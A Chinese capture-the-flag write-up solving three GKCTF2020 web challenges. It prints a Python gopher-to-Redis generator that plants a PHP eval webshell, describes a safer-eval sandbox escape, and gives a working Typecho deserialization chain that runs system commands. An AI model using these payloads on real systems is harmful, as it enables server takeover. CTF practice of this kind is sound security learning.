[GKCTF2020]EZ三剑客 记录

EzWeb

在这里插入图片描述
发个url发现一直卡在那里
在这里插入图片描述
发现有个secret
在这里插入图片描述
进去之后弹出linux 查询网卡信息的内容
给出了服务器ip,记录下ip地址
我们访问下ip
在这里插入图片描述
结果弹出两,不难发现是个SSRF
SSRF漏洞利用讲解
根据上面文章,我们利用file协议读取下index.php
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
那试试扫端口
在这里插入图片描述
个人喜欢写脚本,不喜欢用bp,用bp也可以(这里还需要扫内网主机)
从1-255爆破ip最后一段即可
在这里插入图片描述
发现是11
在这里插入图片描述
然后扫端口
在网上找了个脚本扫端口
脚本作者链接

这个脚本和nmap好像都跑不出来…
用bp吧。。

把ip改为扫到的内网主机ip,从0-65535开始扫

在这里插入图片描述
发现6379端口,可以用gopher协议攻击redis

攻击redis的方法以及EXP
本人是废物,写不出这种exp
这是python2的,改下ip 放kali里去

import urllib
protocol="gopher://"
ip="173.107.98.10"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

将生成的payload直接放过打
在这里插入图片描述
暂时不知道为什么一定要在那个url框中输入
在这里插入图片描述
应该是url编码的问题

传过后,再访问shell.php
记住需要绕空格
在这里插入图片描述
发现flag在根目录下,查看即可

EzNode

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

简单说下主要的漏洞代码吧,现在对node.js还不是很熟。。。。。
在这里插入图片描述

这一大段主要是在/eval这个路由下,首先他先设置delay的默认值,我们可以去到这个路由把delay的值传过去,
然后他会比较传过去的值和默认值,选较大的一方作为自己的值。然后就是设置超时,将秒数delay作为超时时限,超时了就进到下一个路由

可是我们无论怎么发都不可能超过6秒
问题出在了SetTimeout这个函数
存在溢出
关于这个函数详细分析
在这里插入图片描述
只要大于2147483647,就会发生溢出,就可以绕过那个时间限制,进入下一个路由
在这里插入图片描述
可以发现已经绕过那个时间限制了
接着看下一个路由
在这里插入图片描述
他这里要我们post传参e,,就是要让我们沙盒逃逸

在这里插入图片描述
搜一波这个库的漏洞,搜到一个CVE
在这里插入图片描述
CVE漏洞POC
下面给出了更简单的POC,就是绝大多数wp的那个POC
在这里插入图片描述

https://github.com/commenthol/safer-eval/issues/10

把那个POC往上面放放,直接RCE
在这里插入图片描述
注意用法
在这里插入图片描述
查看根目录下flag

EzTypecho

在这里插入图片描述
是一个Typecho写的网站,搜搜这个东东有啥漏洞

Typecho漏洞分析

这上面已经讲得很清楚了
在这里插入图片描述

大概意思呢就是通过反序列化,调用call_user_func(),来RCE,具体不详说了,文章里里已经写的很清楚,网上别的文章也讲得不错

在这里插入图片描述
放过去之后弹出说没有session
这是题目给出的源码就起作用了
在这里插入图片描述
在这里插入图片描述

发现他把session给禁了,所以打不通

往下看
在这里插入图片描述
有个start,用样存在反序列化的问题

在这里插入图片描述
可以发现成功RCE
接着更改那篇文章的POC,拿flag

<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct()
    {
        $this->_params['screenName'] = 'ls /';
        //$this->_params['screenName'] = -1;
        $this->_filter[0] = 'system';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';
    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';
    /** 定义行结束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());

        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

在这里插入图片描述
查看根目录flag即可

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值